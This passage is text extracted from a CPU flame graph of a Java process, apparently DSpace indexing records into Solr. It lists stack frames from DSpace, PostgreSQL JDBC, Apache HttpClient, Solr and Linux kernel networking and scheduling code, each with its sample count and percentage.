0.09%) + + + +java/net/URI:::<init> (1 samples, 0.09%) + + + +tcp_ack (11 samples, 1.00%) + + + +org/apache/commons/dbcp/PoolingDataSource$PoolGuardConnectionWrapper:::prepareStatement (1 samples, 0.09%) + + + +org/dspace/core/Context:::complete (2 samples, 0.18%) + + + +org/dspace/discovery/BitstreamContentStream:::<init> (2 samples, 0.18%) + + + +jshort_arraycopy (1 samples, 0.09%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (48 samples, 4.37%) +org/a.. + + +org/dspace/discovery/BitstreamContentStream:::getStream (14 samples, 1.28%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (5 samples, 0.46%) + + + +org/apache/http/impl/conn/PoolingClientConnectionManager:::releaseConnection (1 samples, 0.09%) + + + +tcp_write_xmit (1 samples, 0.09%) + + + +available_idle_cpu (2 samples, 0.18%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (6 samples, 0.55%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (1 samples, 0.09%) + + + +[libjvm.so] (2 samples, 0.18%) + + + +Interpreter (1 samples, 0.09%) + + + +ext4_mark_inode_dirty (2 samples, 0.18%) + + + +clock_gettime@GLIBC_2.2.5 (1 samples, 0.09%) + + + +org/dspace/browse/BrowseIndex:::getBrowseIndices (26 samples, 2.37%) +o.. + + +schedule (61 samples, 5.56%) +schedule + + +generic_perform_write (1 samples, 0.09%) + + + +dequeue_entity (5 samples, 0.46%) + + + +ExceptionBlob (1 samples, 0.09%) + + + +java/util/regex/Pattern$GroupHead:::match (5 samples, 0.46%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (3 samples, 0.27%) + + + +__GI___shutdown (1 samples, 0.09%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +org/apache/solr/common/SolrInputDocument:::addField (1 samples, 0.09%) + + + +swapgs_restore_regs_and_return_to_usermode (1 samples, 0.09%) + + + +itable stub (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (2 samples, 0.18%) + + + +vtable stub (1 samples, 0.09%) + + + +schedule (5 samples, 0.46%) + + + +irq_exit (1 samples, 0.09%) + + + +_raw_spin_lock (1 samples, 0.09%) + + + +nvme_irq (1 samples, 0.09%) + + + +org/apache/log4j/Category:::info (8 samples, 0.73%) + + + +JVM_FillInStackTrace (7 samples, 0.64%) + + + +pollwake (1 samples, 0.09%) + + + +__kmalloc_node_track_caller (3 samples, 0.27%) + + + +__pthread_mutex_lock (1 samples, 0.09%) + + + +ip_protocol_deliver_rcu (51 samples, 4.64%) +ip_pr.. + + +org/apache/http/protocol/HttpRequestExecutor:::doReceiveResponse (1 samples, 0.09%) + + + +[libjvm.so] (5 samples, 0.46%) + + + +java/lang/String:::equals (2 samples, 0.18%) + + + +org/apache/http/entity/mime/AbstractMultipartForm:::getTotalLength (1 samples, 0.09%) + + + +java/net/SocketInputStream:::read (2 samples, 0.18%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (4 samples, 0.36%) + + + +do_syscall_64 (6 samples, 0.55%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (7 samples, 0.64%) + + + +futex_wait_queue_me (61 samples, 5.56%) +futex_w.. + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::setInt (1 samples, 0.09%) + + + +org/dspace/core/Context:::fromCache (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (4 samples, 0.36%) + + + +update_blocked_averages (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/apache/http/protocol/RequestTargetHost:::process (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::getColumnNames (1 samples, 0.09%) + + + +org/apache/solr/common/SolrInputDocument:::getFieldValues (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (2 samples, 0.18%) + + + +java/util/regex/Pattern$GroupHead:::match (3 samples, 0.27%) + + + +org/apache/http/client/utils/URLEncodedUtils:::parse (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (3 samples, 0.27%) + + + +inet_stream_connect (1 samples, 0.09%) + + + +org/apache/http/message/BasicHeaderValueParser:::parseNameValuePair (1 samples, 0.09%) + + + +ipt_do_table (2 samples, 0.18%) + + + +java/io/BufferedReader:::readLine (1 samples, 0.09%) + + + +tick_sched_timer (1 samples, 0.09%) + + + +org/apache/solr/common/params/ModifiableSolrParams:::set (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (17 samples, 1.55%) + + + +jshort_disjoint_arraycopy (2 samples, 0.18%) + + + +java/lang/String:::getBytes (4 samples, 0.36%) + + + +org/dspace/content/Item:::getBundles (38 samples, 3.46%) +org.. + + +refcount_dec_and_test_checked (2 samples, 0.18%) + + + +org/dspace/storage/rdbms/TableRow:::getIntColumn (1 samples, 0.09%) + + + +org/apache/http/impl/client/ClientParamsStack:::getParameter (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +call_stub (11 samples, 1.00%) + + + +java/util/regex/Pattern$BmpCharProperty:::match (3 samples, 0.27%) + + + +_raw_spin_lock_irqsave (1 samples, 0.09%) + + + +jbyte_disjoint_arraycopy (1 samples, 0.09%) + + + +syscall_return_via_sysret (1 samples, 0.09%) + + + +tcp_rearm_rto (1 samples, 0.09%) + + + +org/apache/http/entity/mime/HttpStrictMultipart:::formatMultipartHeader (19 samples, 1.73%) + + + +[libjli.so] (747 samples, 68.03%) +[libjli.so] + + +handle_irq_event (1 samples, 0.09%) + + + +[libjvm.so] (2 samples, 0.18%) + + + +sun/reflect/GeneratedConstructorAccessor22:::newInstance (28 samples, 2.55%) +su.. + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +__generic_file_write_iter (2 samples, 0.18%) + + + +org/apache/commons/dbcp/DelegatingStatement:::executeQuery (4 samples, 0.36%) + + + +do_syscall_64 (3 samples, 0.27%) + + + +org/apache/http/client/protocol/RequestTargetAuthentication:::process (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +__netif_receive_skb_one_core (91 samples, 8.29%) +__netif_rec.. + + +org/postgresql/core/v3/QueryExecutorImpl:::sendBind (1 samples, 0.09%) + + + +java/util/regex/Pattern$Curly:::match0 (3 samples, 0.27%) + + + +org/dspace/eperson/Group:::find (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (4 samples, 0.36%) + + + +java/lang/Integer:::toString (1 samples, 0.09%) + + + +org/dspace/discovery/SolrServiceSpellIndexingPlugin:::additionalIndex (3 samples, 0.27%) + + + +java/lang/StringCoding:::decode (1 samples, 0.09%) + + + +exit_to_usermode_loop (1 samples, 0.09%) + + + +ret_from_intr (1 samples, 0.09%) + + + +[libjvm.so] (2 samples, 0.18%) + + + +ipt_do_table (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (6 samples, 0.55%) + + + +java/util/HashMap:::get (1 samples, 0.09%) + + + +Interpreter (1 samples, 0.09%) + + + +read_tsc (1 samples, 0.09%) + + + +tcp_rbtree_insert (1 samples, 0.09%) + + + +nvme_pci_complete_rq (1 samples, 0.09%) + + + +org/postgresql/core/PGStream:::SendInteger4 (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (5 samples, 0.46%) + + + +crypt_dec_pending (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (2 samples, 0.18%) + + + +__softirqentry_text_start (1 samples, 0.09%) + + + +java/lang/Class:::getDeclaringClass0 (1 samples, 0.09%) + + + +schedule (1 samples, 0.09%) + + + +org/apache/http/impl/io/SocketInputBuffer:::isDataAvailable (13 samples, 1.18%) + + + +Interpreter (1 samples, 0.09%) + + + +org/apache/solr/common/util/XML:::escape (32 samples, 2.91%) +or.. + + +skb_page_frag_refill (1 samples, 0.09%) + + + +java/util/HashMap:::put (3 samples, 0.27%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (1 samples, 0.09%) + + + +perf_pmu_enable.part.0 (60 samples, 5.46%) +perf_pm.. + + +ip_rcv_finish (62 samples, 5.65%) +ip_rcv_.. + + +finish_task_switch (5 samples, 0.46%) + + + +org/apache/commons/pool/impl/GenericKeyedObjectPool:::borrowObject (1 samples, 0.09%) + + + +org/apache/commons/dbcp/PoolingConnection$PStmtKey:::hashCode (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (4 samples, 0.36%) + + + +update_blocked_averages (1 samples, 0.09%) + + + +nf_conntrack_in (1 samples, 0.09%) + + + +release_sock (2 samples, 0.18%) + + + +acpi_ev_detect_gpe (1 samples, 0.09%) + + + +org/apache/solr/client/solrj/util/ClientUtils:::writeVal (38 samples, 3.46%) +org.. + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (1 samples, 0.09%) + + + +java/util/regex/Pattern$Curly:::match0 (4 samples, 0.36%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::getLong (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (2 samples, 0.18%) + + + +org/apache/log4j/helpers/PatternParser$DatePatternConverter:::convert (1 samples, 0.09%) + + + +Java_java_lang_Throwable_fillInStackTrace (7 samples, 0.64%) + + + +org/dspace/content/Bundle:::getBitstreamsInternal (26 samples, 2.37%) +o.. + + +[libjvm.so] (747 samples, 68.03%) +[libjvm.so] + + +org/apache/commons/dbcp/PoolingConnection$PStmtKey:::hashCode (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (1 samples, 0.09%) + + + +entry_SYSCALL_64_after_hwframe (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (2 samples, 0.18%) + + + +tcp_clean_rtx_queue (4 samples, 0.36%) + + + +org/apache/commons/dbcp/PoolablePreparedStatement:::close (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::getColumnNames (1 samples, 0.09%) + + + +__handle_irq_event_percpu (1 samples, 0.09%) + + + +acpi_os_read_port (1 samples, 0.09%) + + + +ipv4_dst_check (1 samples, 0.09%) + + + +_register_finalizer_Java (1 samples, 0.09%) + + + +java/util/regex/Pattern$GroupHead:::match (3 samples, 0.27%) + + + +__tcp_transmit_skb (1 samples, 0.09%) + + + +org/dspace/content/Item:::getID (1 samples, 0.09%) + + + +set_task_cpu (1 samples, 0.09%) + + + +itable stub (1 samples, 0.09%) + + + +handle_irq_event_percpu (1 samples, 0.09%) + + + +do_futex (61 samples, 5.56%) +do_futex + + +java/util/ArrayList:::contains (1 samples, 0.09%) + + + +bbr_lt_bw_sampling.isra.0 (2 samples, 0.18%) + + + +java/io/FileOutputStream:::writeBytes (3 samples, 0.27%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +java/net/URI$Parser:::at (1 samples, 0.09%) + + + +java/util/HashMap:::get (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (15 samples, 1.37%) + + + +java/lang/Throwable:::fillInStackTrace (3 samples, 0.27%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +Interpreter (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (6 samples, 0.55%) + + + +perf_pmu_enable.part.0 (12 samples, 1.09%) + + + +java/util/regex/Pattern$Curly:::match (4 samples, 0.36%) + + + +org/dspace/storage/rdbms/DatabaseManager:::find (10 samples, 0.91%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +Java_java_net_SocketInputStream_socketRead0 (2 samples, 0.18%) + + + +org/apache/log4j/Category:::error (10 samples, 0.91%) + + + +ip_queue_xmit (1 samples, 0.09%) + + + +org/apache/http/conn/routing/HttpRoute:::equals (1 samples, 0.09%) + + + +prepare_exit_to_usermode (1 samples, 0.09%) + + + +org/dspace/core/PluginManager:::getNamedPlugin (4 samples, 0.36%) + + + +[libjvm.so] (747 samples, 68.03%) +[libjvm.so] + + +org/apache/commons/dbcp/PoolablePreparedStatement:::close (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +apic_timer_interrupt (1 samples, 0.09%) + + + +Java_java_io_FileOutputStream_writeBytes (3 samples, 0.27%) + + + +ip_finish_output (109 samples, 9.93%) +ip_finish_output + + +do_syscall_64 (3 samples, 0.27%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (4 samples, 0.36%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +I2C/C2I adapters (2 samples, 0.18%) + + + +ipt_do_table (1 samples, 0.09%) + + + +[libjvm.so] (2 samples, 0.18%) + + + +org/apache/http/client/protocol/RequestAddCookies:::process (2 samples, 0.18%) + + + +java/util/concurrent/ConcurrentHashMap:::putVal (1 samples, 0.09%) + + + +__x64_sys_poll (3 samples, 0.27%) + + + +nft_do_chain_inet (1 samples, 0.09%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.09%) + + + +__x64_sys_futex (61 samples, 5.56%) +__x64_s.. + + +org/postgresql/core/v3/QueryExecutorImpl:::sendBind (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (2 samples, 0.18%) + + + +__hrtimer_init (1 samples, 0.09%) + + + +default_wake_function (1 samples, 0.09%) + + + +java/util/regex/Pattern$Single:::isSatisfiedBy (1 samples, 0.09%) + + + +ip_local_out (1 samples, 0.09%) + + + +poll_schedule_timeout.constprop.0 (6 samples, 0.55%) + + + +java/util/regex/Pattern$Ques:::study (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +apic_timer_interrupt (1 samples, 0.09%) + + + +[libjvm.so] (2 samples, 0.18%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (10 samples, 0.91%) + + + +handle_irq_event (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (2 samples, 0.18%) + + + +unlock_buffer (1 samples, 0.09%) + + + +perf_event_update_userpage (1 samples, 0.09%) + + + +enqueue_task_fair (3 samples, 0.27%) + + + +org/apache/commons/dbcp/DelegatingConnection:::commit (2 samples, 0.18%) + + + +[libjvm.so] (13 samples, 1.18%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (4 samples, 0.36%) + + + +ip_queue_xmit (1 samples, 0.09%) + + + +__intel_pmu_enable_all.constprop.0 (60 samples, 5.46%) +__intel.. + + +java/net/SocketOutputStream:::socketWrite0 (1 samples, 0.09%) + + + +do_sys_open (1 samples, 0.09%) + + + +org/apache/commons/logging/LogFactory:::getFactory (27 samples, 2.46%) +or.. + + +[libjvm.so] (6 samples, 0.55%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (5 samples, 0.46%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (54 samples, 4.92%) +org/ap.. + + +[libjvm.so] (2 samples, 0.18%) + + + +java/util/regex/Pattern$Branch:::match (2 samples, 0.18%) + + + +Java_java_net_SocketInputStream_socketRead0 (2 samples, 0.18%) + + + +__memmove_avx_unaligned_erms (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (2 samples, 0.18%) + + + +java/util/regex/Pattern$5:::isSatisfiedBy (1 samples, 0.09%) + + + +org/apache/commons/dbcp/PoolingDataSource$PoolGuardConnectionWrapper:::prepareStatement (1 samples, 0.09%) + + + +itable stub (1 samples, 0.09%) + + + +handle_fasteoi_irq (1 samples, 0.09%) + + + +acpi_ev_detect_gpe (1 samples, 0.09%) + + + +apic_timer_interrupt (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (4 samples, 0.36%) + + + +__tcp_ack_snd_check (1 samples, 0.09%) + + + +apic_timer_interrupt (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +_register_finalizer_Java (1 samples, 0.09%) + + + +java/net/SocketInputStream:::read (2 samples, 0.18%) + + + +memset_erms (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +skb_release_data (1 samples, 0.09%) + + + +__pthread_mutex_unlock_usercnt (1 samples, 0.09%) + + + +org/apache/solr/common/SolrInputDocument:::addField (1 samples, 0.09%) + + + +nf_ct_seq_offset (1 samples, 0.09%) + + + +irq_enter (1 samples, 0.09%) + + + +java/lang/StringCoding:::decode (1 samples, 0.09%) + + + +ext4_dirty_inode (2 samples, 0.18%) + + + +java/util/AbstractCollection:::toArray (1 samples, 0.09%) + + + +[libjvm.so] (2 samples, 0.18%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (3 samples, 0.27%) + + + +org/dspace/storage/rdbms/DatabaseManager:::getColumnNames (1 samples, 0.09%) + + + +ext4_inode_table (1 samples, 0.09%) + + + +org/apache/solr/client/solrj/request/RequestWriter$LazyContentStream:::getDelegate (52 samples, 4.74%) +org/a.. + + +jshort_arraycopy (1 samples, 0.09%) + + + +Java_java_net_PlainSocketImpl_socketConnect (1 samples, 0.09%) + + + +org/apache/http/protocol/RequestContent:::process (1 samples, 0.09%) + + + +org/apache/http/entity/mime/AbstractMultipartForm:::doWriteTo (31 samples, 2.82%) +or.. + + +[libjvm.so] (1 samples, 0.09%) + + + +java/net/URI:::<init> (2 samples, 0.18%) + + + +__memmove_avx_unaligned_erms (1 samples, 0.09%) + + + +java/net/SocketInputStream:::read (1 samples, 0.09%) + + + +java/lang/reflect/Proxy:::newProxyInstance (1 samples, 0.09%) + + + +nf_conntrack_tcp_packet (1 samples, 0.09%) + + + +[libjvm.so] (8 samples, 0.73%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::clearParameters (1 samples, 0.09%) + + + +rcu_note_context_switch (1 samples, 0.09%) + + + +validate_xmit_skb (2 samples, 0.18%) + + + +acpi_ev_detect_gpe (1 samples, 0.09%) + + + +tcp_mstamp_refresh (1 samples, 0.09%) + + + +__pthread_getspecific (1 samples, 0.09%) + + + +[[vdso]] (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (1 samples, 0.09%) + + + +prepare_exit_to_usermode (1 samples, 0.09%) + + + +__ext4_find_entry (1 samples, 0.09%) + + + +_register_finalizer_Java (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (3 samples, 0.27%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendBind (1 samples, 0.09%) + + + +__x64_sys_sendto (193 samples, 17.58%) +__x64_sys_sendto + + +org/dspace/eperson/Group:::find (4 samples, 0.36%) + + + +__netif_receive_skb_one_core (1 samples, 0.09%) + + + +ipv4_dst_check (2 samples, 0.18%) + + + +__mark_inode_dirty (2 samples, 0.18%) + + + +tcp_event_new_data_sent (3 samples, 0.27%) + + + +org/apache/http/message/BasicLineParser:::parseStatusLine (1 samples, 0.09%) + + + +org/apache/log4j/helpers/AppenderAttachableImpl:::appendLoopOnAppenders (8 samples, 0.73%) + + + +[libjvm.so] (2 samples, 0.18%) + + + +smp_apic_timer_interrupt (1 samples, 0.09%) + + + +__x64_sys_write (2 samples, 0.18%) + + + +irqtime_account_irq (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendSync (2 samples, 0.18%) + + + +Interpreter (1 samples, 0.09%) + + + +Java_java_net_SocketOutputStream_socketWrite0 (1 samples, 0.09%) + + + +tcp_check_space (2 samples, 0.18%) + + + +__skb_datagram_iter (1 samples, 0.09%) + + + +__skb_clone (1 samples, 0.09%) + + + +java/net/SocketInputStream:::socketRead0 (19 samples, 1.73%) + + + +org/dspace/storage/rdbms/TableRow:::resetChanged (1 samples, 0.09%) + + + +org/dspace/browse/SolrBrowseCreateDAO:::additionalIndex (110 samples, 10.02%) +org/dspace/bro.. + + +org/apache/solr/client/solrj/util/ClientUtils:::writeXML (49 samples, 4.46%) +org/a.. + + +java/util/HashMap:::put (2 samples, 0.18%) + + + +bio_endio (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (4 samples, 0.36%) + + + +Java_java_lang_Throwable_fillInStackTrace (3 samples, 0.27%) + + + +org/springframework/beans/factory/support/DefaultListableBeanFactory:::getBeanNamesForType (74 samples, 6.74%) +org/sprin.. + + +jshort_disjoint_arraycopy (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (1 samples, 0.09%) + + + +java/util/regex/Pattern$Node:::study (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +java/net/URLEncoder:::encode (2 samples, 0.18%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (4 samples, 0.36%) + + + +JNU_ThrowByName (2 samples, 0.18%) + + + +org/postgresql/jdbc2/AbstractJdbc2Connection$TransactionCommandHandler:::handleCompletion (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (4 samples, 0.36%) + + + +__intel_pmu_enable_all.constprop.0 (5 samples, 0.46%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (5 samples, 0.46%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (2 samples, 0.18%) + + + +Interpreter (1 samples, 0.09%) + + + +swake_up_locked.part.0 (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (5 samples, 0.46%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (4 samples, 0.36%) + + + +update_min_vruntime (2 samples, 0.18%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +java/util/GregorianCalendar:::computeFields (1 samples, 0.09%) + + + +tcp_queue_rcv (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +ext4_mark_inode_dirty (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendBind (1 samples, 0.09%) + + + +org/apache/http/conn/routing/HttpRoute:::hashCode (1 samples, 0.09%) + + + +org/postgresql/core/PGStream:::Receive (1 samples, 0.09%) + + + +vtable stub (2 samples, 0.18%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendSync (1 samples, 0.09%) + + + +sched_clock_cpu (1 samples, 0.09%) + + + +_raw_spin_lock_irqsave (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (2 samples, 0.18%) + + + +nf_hook_slow (1 samples, 0.09%) + + + +org/apache/commons/lang/time/FastDateFormat$TwoDigitMonthField:::appendTo (1 samples, 0.09%) + + + +java/net/SocketInputStream:::read (1 samples, 0.09%) + + + +handle_irq_event_percpu (1 samples, 0.09%) + + + +nft_do_chain (5 samples, 0.46%) + + + +fput_many (2 samples, 0.18%) + + + +java/text/SimpleDateFormat:::subFormat (2 samples, 0.18%) + + + +org/dspace/storage/bitstore/BitstreamStorageManager:::getFile (1 samples, 0.09%) + + + +[libjvm.so] (7 samples, 0.64%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (3 samples, 0.27%) + + + +do_softirq_own_stack (101 samples, 9.20%) +do_softirq_ow.. + + +pthread_cond_wait@@GLIBC_2.3.2 (61 samples, 5.56%) +pthread.. + + +sk_reset_timer (1 samples, 0.09%) + + + +__ip_local_out (1 samples, 0.09%) + + + +__ip_local_out (1 samples, 0.09%) + + + +copy_user_enhanced_fast_string (2 samples, 0.18%) + + + +jbyte_arraycopy (1 samples, 0.09%) + + + +acpi_hw_read (1 samples, 0.09%) + + + +java/net/SocketInputStream:::read (13 samples, 1.18%) + + + +org/apache/solr/common/params/ModifiableSolrParams:::getParams (1 samples, 0.09%) + + + +org/dspace/content/DSpaceObject$MetadataCache:::get (30 samples, 2.73%) +or.. + + +org/dspace/core/Context:::cache (1 samples, 0.09%) + + + +java (1,098 samples, 100.00%) +java + + +org/dspace/storage/rdbms/DatabaseManager:::query (4 samples, 0.36%) + + + +hrtimer_init_sleeper (1 samples, 0.09%) + + + +com/atmire/dspace/discovery/LnRSolrServiceIndexPlugin:::additionalIndex (4 samples, 0.36%) + + + +__sys_sendto (193 samples, 17.58%) +__sys_sendto + + +org/apache/commons/dbcp/PoolablePreparedStatement:::close (1 samples, 0.09%) + + + +java/util/regex/Pattern$GroupTail:::match (2 samples, 0.18%) + + + +ip_rcv (89 samples, 8.11%) +ip_rcv + + +nf_conntrack_in (2 samples, 0.18%) + + + +__ip_local_out (1 samples, 0.09%) + + + +schedule (2 samples, 0.18%) + + + +org/apache/commons/dbcp/PoolablePreparedStatement:::close (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +java/lang/Object:::notifyAll (1 samples, 0.09%) + + + +__kfree_skb (2 samples, 0.18%) + + + +ksys_write (2 samples, 0.18%) + + + +java/util/regex/Pattern$Curly:::match0 (3 samples, 0.27%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (2 samples, 0.18%) + + + +__tcp_transmit_skb (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +schedule_hrtimeout_range (6 samples, 0.55%) + + + +smp_apic_timer_interrupt (1 samples, 0.09%) + + + +org/apache/solr/common/SolrInputDocument:::addField (14 samples, 1.28%) + + + +[libjvm.so] (4 samples, 0.36%) + + + +java/util/regex/Pattern$GroupHead:::match (3 samples, 0.27%) + + + +org/apache/http/protocol/HttpRequestExecutor:::preProcess (4 samples, 0.36%) + + + +jshort_disjoint_arraycopy (1 samples, 0.09%) + + + +__skb_clone (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::getBoolean (1 samples, 0.09%) + + + +___slab_alloc.isra.0 (1 samples, 0.09%) + + + +java/util/HashMap:::put (1 samples, 0.09%) + + + +ret_from_intr (1 samples, 0.09%) + + + +ip_local_out (133 samples, 12.11%) +ip_local_out + + +__perf_event_task_sched_in (60 samples, 5.46%) +__perf_.. + + +tcp_small_queue_check.isra.0 (1 samples, 0.09%) + + + +org/apache/http/impl/io/AbstractSessionOutputBuffer:::write (2 samples, 0.18%) + + + +all (1,098 samples, 100%) + + + +do_syscall_64 (53 samples, 4.83%) +do_sys.. + + +java/util/regex/Pattern:::closure (2 samples, 0.18%) + + + +Java_java_net_SocketInputStream_socketRead0 (12 samples, 1.09%) + + + +try_to_wake_up (1 samples, 0.09%) + + + +java/lang/Throwable:::fillInStackTrace (7 samples, 0.64%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (7 samples, 0.64%) + + + +sun/nio/cs/UTF_8$Decoder:::decode (1 samples, 0.09%) + + + +JVM_FillInStackTrace (3 samples, 0.27%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +nft_immediate_eval (1 samples, 0.09%) + + + +org/apache/solr/client/solrj/request/AbstractUpdateRequest:::process (88 samples, 8.01%) +org/apache/.. + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (2 samples, 0.18%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (2 samples, 0.18%) + + + +ext4_data_block_valid_rcu.isra.0 (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/TableRow:::getIntColumn (3 samples, 0.27%) + + + +org/apache/http/impl/conn/PoolingClientConnectionManager:::releaseConnection (1 samples, 0.09%) + + + +java/util/ArrayList$SubList$1:::hasNext (1 samples, 0.09%) + + + +edu/sdsc/grid/io/FileFactory:::newFileInputStream (1 samples, 0.09%) + + + +tcp_update_skb_after_send (1 samples, 0.09%) + + + +org/springframework/core/convert/support/GenericConversionService$ConverterAdapter:::getConvertibleTypes (2 samples, 0.18%) + + + +tcp_sendmsg (185 samples, 16.85%) +tcp_sendmsg + + +org/dspace/browse/BrowseIndex:::<init> (24 samples, 2.19%) +o.. + + +jshort_disjoint_arraycopy (1 samples, 0.09%) + + + +tcp_send_ack (1 samples, 0.09%) + + + +java/util/GregorianCalendar:::computeTime (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +__kmalloc_reserve.isra.0 (5 samples, 0.46%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (26 samples, 2.37%) +o.. + + +pick_next_task_fair (1 samples, 0.09%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +dec_pending (1 samples, 0.09%) + + + +java/util/HashMap:::resize (1 samples, 0.09%) + + + +acpi_hw_read_port (1 samples, 0.09%) + + + +ext4_file_write_iter (1 samples, 0.09%) + + + +Interpreter (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (2 samples, 0.18%) + + + 